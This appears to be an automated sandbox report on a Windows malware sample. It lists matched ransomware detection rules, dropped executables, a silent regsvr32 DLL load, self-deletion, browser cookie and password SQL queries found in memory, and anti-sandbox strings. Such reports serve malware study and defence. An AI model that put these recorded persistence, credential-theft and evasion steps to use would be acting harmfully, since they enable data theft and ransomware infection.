Source: 0000000F.00000000.485811409.0000000000400000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY	Matched rule: SUSP_XORed_URL_in_EXE date = 2020-03-09, author = Florian Roth, description = Detects an XORed URL in an executable, score = , reference = https://twitter.com/stvemillertime/status/1237035794973560834, modified = 2021-05-27
Source: 0000000F.00000000.485811409.0000000000400000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY	Matched rule: MALWARE_Win_STOP snort2_sid = 920113, author = ditekSHen, description = Detects STOP ransomware, clamav_sig = MALWARE.Win.Ransomware.STOP, snort3_sid = 920111
Source: 0000000F.00000000.485811409.0000000000400000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Ransomware_Stop_1e8d48ff reference_sample = 821b27488f296e15542b13ac162db4a354cbf4386b6cd40a550c4a71f4d628f3, os = windows, severity = x86, creation_date = 2021-06-10, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Ransomware.Stop, fingerprint = 715888e3e13aaa33f2fd73beef2c260af13e9726cb4b43d349333e3259bf64eb, id = 1e8d48ff-e0ab-478d-8268-a11f2e87ab79, last_modified = 2021-08-23
Source: 0000001C.00000003.560355597.00000000036C0000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY	Matched rule: SUSP_PE_Discord_Attachment_Oct21_1 date = 2021-10-12, author = Florian Roth, description = Detects suspicious executable with reference to a Discord attachment (often used for malware hosting on a legitimate FQDN), score = , reference = Internal Research
Source: Process Memory Space: D7DE.exe PID: 1924, type: MEMORYSTR	Matched rule: Windows_Ransomware_Stop_1e8d48ff reference_sample = 821b27488f296e15542b13ac162db4a354cbf4386b6cd40a550c4a71f4d628f3, os = windows, severity = x86, creation_date = 2021-06-10, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Ransomware.Stop, fingerprint = 715888e3e13aaa33f2fd73beef2c260af13e9726cb4b43d349333e3259bf64eb, id = 1e8d48ff-e0ab-478d-8268-a11f2e87ab79, last_modified = 2021-08-23
Source: Process Memory Space: D7DE.exe PID: 4792, type: MEMORYSTR	Matched rule: Windows_Ransomware_Stop_1e8d48ff reference_sample = 821b27488f296e15542b13ac162db4a354cbf4386b6cd40a550c4a71f4d628f3, os = windows, severity = x86, creation_date = 2021-06-10, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Ransomware.Stop, fingerprint = 715888e3e13aaa33f2fd73beef2c260af13e9726cb4b43d349333e3259bf64eb, id = 1e8d48ff-e0ab-478d-8268-a11f2e87ab79, last_modified = 2021-08-23

Source: C:\Users\user\Desktop\file.exe	Code function: String function: 0040DF50 appears 31 times
Source: C:\Users\user\AppData\Local\Temp\D7DE.exe	Code function: String function: 026F0160 appears 31 times
Source: C:\Users\user\AppData\Local\Temp\D7DE.exe	Code function: String function: 026E8EC0 appears 37 times
Source: C:\Users\user\AppData\Roaming\bhseufd	Code function: String function: 0040DF50 appears 31 times

Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_004017E3 Sleep,NtTerminateProcess,	0_2_004017E3
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00402351 NtOpenKey,NtEnumerateKey,NtEnumerateKey,	0_2_00402351
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00402072 NtQuerySystemInformation,	0_2_00402072
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00401807 Sleep,NtTerminateProcess,	0_2_00401807
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_004014DF NtMapViewOfSection,NtMapViewOfSection,NtMapViewOfSection,NtMapViewOfSection,	0_2_004014DF
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_004017E2 Sleep,NtTerminateProcess,	0_2_004017E2
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_004017EE Sleep,NtTerminateProcess,	0_2_004017EE
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00401EFD NtQuerySystemInformation,	0_2_00401EFD
Source: C:\Users\user\AppData\Roaming\bhseufd	Code function: 9_2_004017E3 Sleep,NtTerminateProcess,	9_2_004017E3
Source: C:\Users\user\AppData\Roaming\bhseufd	Code function: 9_2_00402351 NtOpenKey,NtEnumerateKey,NtEnumerateKey,	9_2_00402351
Source: C:\Users\user\AppData\Roaming\bhseufd	Code function: 9_2_00402072 NtQuerySystemInformation,	9_2_00402072
Source: C:\Users\user\AppData\Roaming\bhseufd	Code function: 9_2_00401807 Sleep,NtTerminateProcess,	9_2_00401807
Source: C:\Users\user\AppData\Roaming\bhseufd	Code function: 9_2_004014DF NtMapViewOfSection,NtMapViewOfSection,NtMapViewOfSection,NtMapViewOfSection,	9_2_004014DF
Source: C:\Users\user\AppData\Roaming\bhseufd	Code function: 9_2_004017E2 Sleep,NtTerminateProcess,	9_2_004017E2
Source: C:\Users\user\AppData\Roaming\bhseufd	Code function: 9_2_004017EE Sleep,NtTerminateProcess,	9_2_004017EE
Source: C:\Users\user\AppData\Roaming\bhseufd	Code function: 9_2_00401EFD NtQuerySystemInformation,	9_2_00401EFD
Source: C:\Windows\SysWOW64\regsvr32.exe	Code function: 13_2_04841000 NtCreateThreadEx,	13_2_04841000
Source: C:\Users\user\AppData\Local\Temp\D7DE.exe	Code function: 14_2_026C0110 VirtualAlloc,GetModuleFileNameA,CreateProcessA,VirtualFree,VirtualAlloc,GetThreadContext,ReadProcessMemory,NtUnmapViewOfSection,VirtualAllocEx,NtWriteVirtualMemory,NtWriteVirtualMemory,WriteProcessMemory,SetThreadContext,ResumeThread,ExitProcess,	14_2_026C0110

Source: file.exe	Static PE information: Resource name: RT_VERSION type: MIPSEB-LE MIPS-III ECOFF executable not stripped - version 0.79
Source: 361E.exe.1.dr	Static PE information: Resource name: RT_VERSION type: MIPSEB-LE MIPS-III ECOFF executable not stripped - version 0.79
Source: 56E6.exe.1.dr	Static PE information: Resource name: RT_VERSION type: MIPSEB-LE MIPS-III ECOFF executable not stripped - version 0.79
Source: D7DE.exe.1.dr	Static PE information: Resource name: RT_VERSION type: MIPSEB-LE MIPS-III ECOFF executable not stripped - version 0.79
Source: bhseufd.1.dr	Static PE information: Resource name: RT_VERSION type: MIPSEB-LE MIPS-III ECOFF executable not stripped - version 0.79

Source: file.exe

Static PE information: Section: .text IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ

Source: C:\Windows\explorer.exe

File created: C:\Users\user\AppData\Roaming\bhseufd

Jump to behavior

Source: classification engine

Classification label: mal100.rans.troj.spyw.evad.winEXE@24/13@102/18

Source: C:\Users\user\AppData\Local\Temp\20C0.exe

File read: C:\Users\user\Desktop\desktop.ini

Jump to behavior

Source: file.exe

Virustotal: Detection: 35%

Source: C:\Users\user\Desktop\file.exe

Key opened: HKEY_CURRENT_USER\Software\Policies\Microsoft\Windows\Safer\CodeIdentifiers

Jump to behavior

Source: unknown	Process created: C:\Users\user\Desktop\file.exe "C:\Users\user\Desktop\file.exe"
Source: unknown	Process created: C:\Users\user\AppData\Roaming\bhseufd C:\Users\user\AppData\Roaming\bhseufd
Source: C:\Windows\explorer.exe	Process created: C:\Windows\System32\regsvr32.exe regsvr32 /s C:\Users\user\AppData\Local\Temp\BB5C.dll
Source: C:\Windows\System32\regsvr32.exe	Process created: C:\Windows\SysWOW64\regsvr32.exe /s C:\Users\user\AppData\Local\Temp\BB5C.dll
Source: C:\Windows\explorer.exe	Process created: C:\Users\user\AppData\Local\Temp\D7DE.exe C:\Users\user\AppData\Local\Temp\D7DE.exe
Source: C:\Users\user\AppData\Local\Temp\D7DE.exe	Process created: C:\Users\user\AppData\Local\Temp\D7DE.exe C:\Users\user\AppData\Local\Temp\D7DE.exe
Source: C:\Windows\explorer.exe	Process created: C:\Users\user\AppData\Local\Temp\F5C7.exe C:\Users\user\AppData\Local\Temp\F5C7.exe
Source: C:\Windows\explorer.exe	Process created: C:\Users\user\AppData\Local\Temp\20C0.exe C:\Users\user\AppData\Local\Temp\20C0.exe
Source: C:\Users\user\AppData\Local\Temp\20C0.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\explorer.exe	Process created: C:\Users\user\AppData\Local\Temp\361E.exe C:\Users\user\AppData\Local\Temp\361E.exe
Source: C:\Users\user\AppData\Local\Temp\20C0.exe	Process created: C:\Users\user\AppData\Local\Temp\20C0.exe "C:\Users\user\AppData\Local\Temp\20C0.exe" -h
Source: C:\Users\user\AppData\Local\Temp\20C0.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\explorer.exe	Process created: C:\Users\user\AppData\Local\Temp\56E6.exe C:\Users\user\AppData\Local\Temp\56E6.exe
Source: C:\Windows\explorer.exe	Process created: C:\Users\user\AppData\Local\Temp\C40D.exe C:\Users\user\AppData\Local\Temp\C40D.exe
Source: C:\Users\user\AppData\Local\Temp\C40D.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\explorer.exe	Process created: C:\Windows\System32\regsvr32.exe regsvr32 /s C:\Users\user\AppData\Local\Temp\BB5C.dll	Jump to behavior
Source: C:\Windows\explorer.exe	Process created: C:\Users\user\AppData\Local\Temp\D7DE.exe C:\Users\user\AppData\Local\Temp\D7DE.exe	Jump to behavior
Source: C:\Windows\explorer.exe	Process created: C:\Users\user\AppData\Local\Temp\F5C7.exe C:\Users\user\AppData\Local\Temp\F5C7.exe	Jump to behavior
Source: C:\Windows\explorer.exe	Process created: C:\Users\user\AppData\Local\Temp\20C0.exe C:\Users\user\AppData\Local\Temp\20C0.exe	Jump to behavior
Source: C:\Windows\explorer.exe	Process created: C:\Users\user\AppData\Local\Temp\361E.exe C:\Users\user\AppData\Local\Temp\361E.exe	Jump to behavior
Source: C:\Windows\explorer.exe	Process created: C:\Users\user\AppData\Local\Temp\56E6.exe C:\Users\user\AppData\Local\Temp\56E6.exe	Jump to behavior
Source: C:\Windows\explorer.exe	Process created: C:\Users\user\AppData\Local\Temp\C40D.exe C:\Users\user\AppData\Local\Temp\C40D.exe	Jump to behavior
Source: C:\Windows\System32\regsvr32.exe	Process created: C:\Windows\SysWOW64\regsvr32.exe /s C:\Users\user\AppData\Local\Temp\BB5C.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\D7DE.exe	Process created: C:\Users\user\AppData\Local\Temp\D7DE.exe C:\Users\user\AppData\Local\Temp\D7DE.exe	Jump to behavior

Source: C:\Windows\explorer.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID\{0f87369f-a4e5-4cfc-bd3e-73e6154572dd}\InprocServer32

Jump to behavior

Source: C:\Windows\explorer.exe

File created: C:\Users\user\AppData\Local\Temp\BB5C.tmp

Jump to behavior

Source: F5C7.exe, 00000010.00000003.524891367.0000000000592000.00000004.00000020.00020000.00000000.sdmp, F5C7.exe, 00000010.00000003.541709193.0000000000592000.00000004.00000020.00020000.00000000.sdmp, F5C7.exe, 00000010.00000003.531980865.0000000000592000.00000004.00000020.00020000.00000000.sdmp, F5C7.exe, 00000010.00000002.594065675.0000000000592000.00000004.00000020.00020000.00000000.sdmp, F5C7.exe, 00000010.00000003.522621920.0000000000592000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: SELECT creation_utc,host_key,name,value,path,expires_utc,is_secure,is_httponly,last_access_utc,has_expires,is_persistent,priority,hex(encrypted_value) encrypted_value,samesite,source_scheme,source_port,is_same_party FROM cookies;
Source: F5C7.exe, 00000010.00000003.507481193.0000000000607000.00000004.00000001.00020000.00000000.sdmp, F5C7.exe, 00000010.00000003.564486462.00000000005E8000.00000004.00000020.00020000.00000000.sdmp, F5C7.exe, 00000010.00000003.507793967.0000000000610000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: SELECT origin_url,action_url,username_element,username_value,password_element,hex(password_value) password_value,submit_element,signon_realm,date_created,blacklisted_by_user,scheme,password_type,times_used,form_data,display_name,icon_url,federation_url,skip_zero_click,generation_upload_status,possible_username_pairs,id,date_last_used,moving_blocked_for FROM logins;
Source: F5C7.exe, 00000010.00000003.507481193.0000000000607000.00000004.00000001.00020000.00000000.sdmp, F5C7.exe, 00000010.00000003.521970278.0000000000599000.00000004.00000020.00020000.00000000.sdmp, F5C7.exe, 00000010.00000003.550007766.00000000005DB000.00000004.00000020.00020000.00000000.sdmp, F5C7.exe, 00000010.00000003.549264160.00000000005D9000.00000004.00000020.00020000.00000000.sdmp, F5C7.exe, 00000010.00000003.569961554.000000000285D000.00000004.00000020.00020000.00000000.sdmp, F5C7.exe, 00000010.00000003.563671072.000000000284F000.00000004.00000020.00020000.00000000.sdmp, F5C7.exe, 00000010.00000003.541084008.0000000000562000.00000004.00000020.00020000.00000000.sdmp, F5C7.exe, 00000010.00000002.594065675.0000000000592000.00000004.00000020.00020000.00000000.sdmp, F5C7.exe, 00000010.00000003.548756978.00000000005D8000.00000004.00000020.00020000.00000000.sdmp, F5C7.exe, 00000010.00000003.565400079.000000000285D000.00000004.00000020.00020000.00000000.sdmp, F5C7.exe, 00000010.00000003.511610790.00000000005B9000.00000004.00000020.00020000.00000000.sdmp, F5C7.exe, 00000010.00000003.554983942.00000000005DA000.00000004.00000020.00020000.00000000.sdmp, F5C7.exe, 00000010.00000003.529475054.0000000000561000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: CREATE TABLE password_notes (id INTEGER PRIMARY KEY AUTOINCREMENT, parent_id INTEGER NOT NULL REFERENCES logins ON UPDATE CASCADE ON DELETE CASCADE DEFERRABLE INITIALLY DEFERRED, key VARCHAR NOT NULL, value BLOB, date_created INTEGER NOT NULL, confidential INTEGER, UNIQUE (parent_id, key));
Source: F5C7.exe, 00000010.00000002.594065675.0000000000592000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: SELECT creation_utc,host_key,name,value,path,expires_utc,is_secure,is_httponly,last_access_utc,has_expires,is_persistent,priority,hex(encrypted_value) encrypted_value,samesite,source_scheme,source_port,is_same_party FROM cookies;T
Source: F5C7.exe, 00000010.00000003.541709193.0000000000592000.00000004.00000020.00020000.00000000.sdmp, F5C7.exe, 00000010.00000003.531980865.0000000000592000.00000004.00000020.00020000.00000000.sdmp, F5C7.exe, 00000010.00000002.594065675.0000000000592000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: SELECT creation_utc,host_key,name,value,path,expires_utc,is_secure,is_httponly,last_access_utc,has_expires,is_persistent,priority,hex(encrypted_value) encrypted_value,samesite,source_scheme,source_port,is_same_party FROM cookies;r

Source: C:\Users\user\Desktop\file.exe

Code function: 0_2_00ADEB84 CreateToolhelp32Snapshot,Module32First,

0_2_00ADEB84

Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:5204:120:WilError_01
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:5236:120:WilError_01
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:5072:120:WilError_01

Source: D7DE.exe	String found in binary or memory: set-addPolicy
Source: D7DE.exe	String found in binary or memory: id-cmc-addExtensions

Source: C:\Users\user\AppData\Local\Temp\D7DE.exe	File read: C:\Windows\System32\drivers\etc\hosts	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\D7DE.exe	File read: C:\Windows\System32\drivers\etc\hosts	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\F5C7.exe	File read: C:\Windows\System32\drivers\etc\hosts	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\F5C7.exe	File read: C:\Windows\System32\drivers\etc\hosts	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\20C0.exe	File read: C:\Windows\System32\drivers\etc\hosts	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\20C0.exe	File read: C:\Windows\System32\drivers\etc\hosts	Jump to behavior

Source: Window Recorder

Window detected: More than 3 window changes detected

Source: C:\Users\user\Desktop\file.exe

File opened: C:\Windows\SysWOW64\msvcr100.dll

Jump to behavior

Source: file.exe

Static PE information: data directory type: IMAGE_DIRECTORY_ENTRY_DEBUG

Source:	Binary string: E:\Doc\My work (C++)\_Git\Encryption\Release\encrypt_win_api.pdb source: D7DE.exe, D7DE.exe, 0000000E.00000002.499664935.00000000026C0000.00000040.00001000.00020000.00000000.sdmp, D7DE.exe, 0000000F.00000000.485250320.0000000000400000.00000040.00000400.00020000.00000000.sdmp, D7DE.exe, 0000000F.00000002.500446767.0000000000400000.00000040.00000400.00020000.00000000.sdmp, D7DE.exe, 0000000F.00000000.484149118.0000000000400000.00000040.00000400.00020000.00000000.sdmp
Source:	Binary string: c:\Users\Admin\documents\visual studio 2015\Projects\Winmon\Release\Winmon.pdb source: 56E6.exe, 0000001C.00000003.582522996.0000000003AB9000.00000004.00001000.00020000.00000000.sdmp
Source:	Binary string: Loader.pdb source: 56E6.exe, 0000001C.00000003.582522996.0000000003AB9000.00000004.00001000.00020000.00000000.sdmp
Source:	Binary string: c:\Users\Admin\documents\visual studio 2015\Projects\Winmon\x64\Release\Winmon.pdb source: 56E6.exe, 0000001C.00000003.582522996.0000000003AB9000.00000004.00001000.00020000.00000000.sdmp
Source:	Binary string: C:\Users\vladimir\source\repos\driver-process-monitor\Release\WinmonProcessMonitor.pdb source: 56E6.exe, 0000001C.00000003.582522996.0000000003AB9000.00000004.00001000.00020000.00000000.sdmp
Source:	Binary string: C:\hototapeges\jof14 godedoraga vihidi69\puwu.pdb source: D7DE.exe, 0000000E.00000000.475490784.0000000000401000.00000020.00000001.01000000.00000008.sdmp, D7DE.exe, 0000000E.00000002.489517041.0000000000401000.00000020.00000001.01000000.00000008.sdmp, D7DE.exe, 0000000F.00000000.479907680.0000000000401000.00000020.00000001.01000000.00000008.sdmp, D7DE.exe.1.dr
Source:	Binary string: C:\Users\Admin\documents\visual studio 2015\Projects\WinmonFS\x64\Release\WinmonFS.pdb source: 56E6.exe, 0000001C.00000003.582522996.0000000003AB9000.00000004.00001000.00020000.00000000.sdmp
Source:	Binary string: 'C:\livujem.pdb source: 361E.exe, 00000017.00000000.525440643.0000000000401000.00000020.00000001.01000000.0000000C.sdmp, 361E.exe.1.dr
Source:	Binary string: C:\cucusapaziye\cajufapih80 xusir.pdb source: 56E6.exe, 0000001C.00000000.551013550.0000000000401000.00000020.00000001.01000000.0000000D.sdmp, 56E6.exe.1.dr
Source:	Binary string: C:\tebelumobom8.pdb source: file.exe
Source:	Binary string: C:\Users\Admin\documents\visual studio 2015\Projects\WinmonFS\Release\WinmonFS.pdb source: 56E6.exe, 0000001C.00000003.582522996.0000000003AB9000.00000004.00001000.00020000.00000000.sdmp
Source:	Binary string: E:\Doc\My work (C++)\_Git\Encryption\Release\encrypt_win_api.pdbI source: D7DE.exe, 0000000E.00000002.499664935.00000000026C0000.00000040.00001000.00020000.00000000.sdmp, D7DE.exe, 0000000F.00000000.485250320.0000000000400000.00000040.00000400.00020000.00000000.sdmp, D7DE.exe, 0000000F.00000002.500446767.0000000000400000.00000040.00000400.00020000.00000000.sdmp, D7DE.exe, 0000000F.00000000.484149118.0000000000400000.00000040.00000400.00020000.00000000.sdmp
Source:	Binary string: C:\livujem.pdb source: 361E.exe, 00000017.00000000.525440643.0000000000401000.00000020.00000001.01000000.0000000C.sdmp, 361E.exe.1.dr
Source:	Binary string: CC:\hototapeges\jof14 godedoraga vihidi69\puwu.pdb source: D7DE.exe, 0000000E.00000000.475490784.0000000000401000.00000020.00000001.01000000.00000008.sdmp, D7DE.exe, 0000000E.00000002.489517041.0000000000401000.00000020.00000001.01000000.00000008.sdmp, D7DE.exe, 0000000F.00000000.479907680.0000000000401000.00000020.00000001.01000000.00000008.sdmp, D7DE.exe.1.dr
Source:	Binary string: C:\Users\vladimir\source\repos\driver-process-monitor\x64\Release\WinmonProcessMonitor.pdb source: 56E6.exe, 0000001C.00000003.582522996.0000000003AB9000.00000004.00001000.00020000.00000000.sdmp

Data Obfuscation

Detected unpacking (changes PE section rights)

Source: C:\Users\user\Desktop\file.exe	Unpacked PE file: 0.2.file.exe.400000.0.unpack .text:ER;.data:W;.rsrc:R; vs .text:EW;
Source: C:\Users\user\AppData\Roaming\bhseufd	Unpacked PE file: 9.2.bhseufd.400000.0.unpack .text:ER;.data:W;.rsrc:R; vs .text:EW;
Source: C:\Users\user\AppData\Local\Temp\361E.exe	Unpacked PE file: 23.2.361E.exe.400000.0.unpack .text:ER;.data:W;.rsrc:R; vs .text:EW;

Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00402847 push ebp; ret	0_2_00402848
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00402E56 push eax; ret	0_2_00402EBF
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00402E5E push eax; ret	0_2_00402EBF
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00402E6A push eax; ret	0_2_00402EBF
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00402E70 push eax; ret	0_2_00402EBF
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00402E05 push eax; ret	0_2_00402EBF
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00402E1F push eax; ret	0_2_00402EBF
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00402E88 push eax; ret	0_2_00402EBF
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00402E8F push eax; ret	0_2_00402EBF
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00402E96 push eax; ret	0_2_00402EBF
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00402EA4 push eax; ret	0_2_00402EBF
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00401AAC push edi; iretd	0_2_00401AAD
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00402DB7 push eax; ret	0_2_00402EBF
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_008E28AE push ebp; ret	0_2_008E28AF
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_008E1B13 push edi; iretd	0_2_008E1B14
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00AE44A8 push edx; ret	0_2_00AE44B3
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00AE0DA9 push eax; ret	0_2_00AE0DB1
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00AE44E7 push esi; retf	0_2_00AE44E8
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00AE450D push edx; retf	0_2_00AE450F
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00AE4450 push edx; ret	0_2_00AE44B3
Source: C:\Users\user\AppData\Roaming\bhseufd	Code function: 9_2_00402847 push ebp; ret	9_2_00402848
Source: C:\Users\user\AppData\Roaming\bhseufd	Code function: 9_2_00402E56 push eax; ret	9_2_00402EBF
Source: C:\Users\user\AppData\Roaming\bhseufd	Code function: 9_2_00402E5E push eax; ret	9_2_00402EBF
Source: C:\Users\user\AppData\Roaming\bhseufd	Code function: 9_2_00402E6A push eax; ret	9_2_00402EBF
Source: C:\Users\user\AppData\Roaming\bhseufd	Code function: 9_2_00402E70 push eax; ret	9_2_00402EBF
Source: C:\Users\user\AppData\Roaming\bhseufd	Code function: 9_2_00402E05 push eax; ret	9_2_00402EBF
Source: C:\Users\user\AppData\Roaming\bhseufd	Code function: 9_2_00402E1F push eax; ret	9_2_00402EBF
Source: C:\Users\user\AppData\Roaming\bhseufd	Code function: 9_2_00402E88 push eax; ret	9_2_00402EBF
Source: C:\Users\user\AppData\Roaming\bhseufd	Code function: 9_2_00402E8F push eax; ret	9_2_00402EBF
Source: C:\Users\user\AppData\Roaming\bhseufd	Code function: 9_2_00402E96 push eax; ret	9_2_00402EBF
Source: C:\Users\user\AppData\Roaming\bhseufd	Code function: 9_2_00402EA4 push eax; ret	9_2_00402EBF

Source: C:\Users\user\AppData\Local\Temp\D7DE.exe

Code function: 14_2_00422760 LoadLibraryA,GetProcAddress,__encode_pointer,GetProcAddress,__encode_pointer,GetProcAddress,__encode_pointer,GetProcAddress,__encode_pointer,GetProcAddress,__encode_pointer,__encode_pointer,__encode_pointer,__encode_pointer,__encode_pointer,__encode_pointer,

14_2_00422760

Source: C:\Windows\explorer.exe

Process created: C:\Windows\System32\regsvr32.exe regsvr32 /s C:\Users\user\AppData\Local\Temp\BB5C.dll

Source: F5C7.exe.1.dr	Static PE information: section name: _RDATA
Source: F5C7.exe.1.dr	Static PE information: section name: .vmp0
Source: F5C7.exe.1.dr	Static PE information: section name: .vmp1

Source: initial sample

Static PE information: section where entry point is pointing to: .vmp1

Source: 56E6.exe.1.dr	Static PE information: real checksum: 0x430da4 should be: 0x43241d
Source: BB5C.dll.1.dr	Static PE information: real checksum: 0x0 should be: 0x18ae51
Source: 20C0.exe.1.dr	Static PE information: real checksum: 0x2e80e should be: 0x3c696
Source: F5C7.exe.1.dr	Static PE information: real checksum: 0x0 should be: 0x3c92b7
Source: C40D.exe.1.dr	Static PE information: real checksum: 0x2e80e should be: 0x3c696

Source: C:\Windows\explorer.exe

File created: C:\Users\user\AppData\Roaming\bhseufd

Jump to dropped file

Source: C:\Windows\explorer.exe	File created: C:\Users\user\AppData\Local\Temp\F5C7.exe	Jump to dropped file
Source: C:\Windows\explorer.exe	File created: C:\Users\user\AppData\Local\Temp\56E6.exe	Jump to dropped file
Source: C:\Windows\explorer.exe	File created: C:\Users\user\AppData\Local\Temp\20C0.exe	Jump to dropped file
Source: C:\Windows\explorer.exe	File created: C:\Users\user\AppData\Local\Temp\361E.exe	Jump to dropped file
Source: C:\Windows\explorer.exe	File created: C:\Users\user\AppData\Local\Temp\D7DE.exe	Jump to dropped file
Source: C:\Windows\explorer.exe	File created: C:\Users\user\AppData\Roaming\bhseufd	Jump to dropped file
Source: C:\Windows\explorer.exe	File created: C:\Users\user\AppData\Local\Temp\BB5C.dll	Jump to dropped file
Source: C:\Windows\explorer.exe	File created: C:\Users\user\AppData\Local\Temp\C40D.exe	Jump to dropped file

Hooking and other Techniques for Hiding and Protection

Deletes itself after installation

Source: C:\Windows\explorer.exe

File deleted: c:\users\user\desktop\file.exe

Jump to behavior

Hides that the sample has been downloaded from the Internet (zone.identifier)

Source: C:\Windows\explorer.exe

File opened: C:\Users\user\AppData\Roaming\bhseufd:Zone.Identifier read attributes | delete

Jump to behavior

Source: C:\Windows\explorer.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\explorer.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\explorer.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\20C0.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior

Malware Analysis System Evasion

Tries to detect sandboxes and other dynamic analysis tools (process name or module or function)

Source: 56E6.exe, 0000001C.00000003.560355597.00000000036C0000.00000004.00001000.00020000.00000000.sdmp	Binary or memory string: RTP.EXESYSTEMROOT=SETFILETIMESIGNWRITINGSOFT_DOTTEDSYSTEMDRIVETESTING KEYTTL EXPIREDUNINSTALLERVBOXSERVICEVMUSRVC.EXEVT_RESERVEDVARIANTINITVIRTUALFREEVIRTUALLOCKWSARECVFROMWARANG_CITIWHITE_SPACEWINDEFENDER[:^XDIGIT:]\DSEFIX.EXEALARM CLOCKAPPLICATIONBAD ADDRESSBAD MESSAGEBAD TIMEDIVBITCOINS.SKBROKEN PIPECAMPAIGN_IDCGOCALL NILCLOBBERFREECLOSESOCKETCOMBASE.DLLCOMPAIGN_IDCREATED BY CRYPT32.DLLDNSMESSAGE.E2.KEFF.ORGEMBEDDED/%SEXTERNAL IPFILE EXISTSFINAL TOKENFLOAT32NAN2FLOAT64NAN2FLOAT64NAN3GCCHECKMARKGENERALIZEDGET CDN: %WGETPEERNAMEGETSOCKNAMEHTTPS_PROXYI/O TIMEOUTLOCAL ERRORLOST MCACHEMSPANMANUALMETHODARGS(MICROSECONDMILLISECONDMOVE %S: %WMSWSOCK.DLLNEXT SERVERNIL CONTEXTOPERA-PROXYORANNIS.COMOUT OF SYNCPARSE ERRORPROCESS: %SRAW-CONTROLREFLECT.SETRETRY-AFTERRUNTIME: P RUNTIME: P SCHEDDETAILSECHOST.DLLSECUR32.DLLSERVICE: %SSHELL32.DLLSHORT WRITESTART PROXYTASKMGR.EXETLS: ALERT(TRACEALLOC(TRAFFIC UPDUNREACHABLEUSERENV.DLLVERSION.DLLVERSION=190WININET.DLLWUP_PROCESS (SENSITIVE) [RECOVERED] ALLOCCOUNT FOUND AT *( GCSCANDONE M->GSIGNAL= MINTRIGGER= NDATAROOTS= NSPANROOTS= PAGES/BYTE
Source: file.exe, 00000000.00000002.393735592.0000000000AC8000.00000004.00000020.00020000.00000000.sdmp, bhseufd	Binary or memory string: ASWHOOK
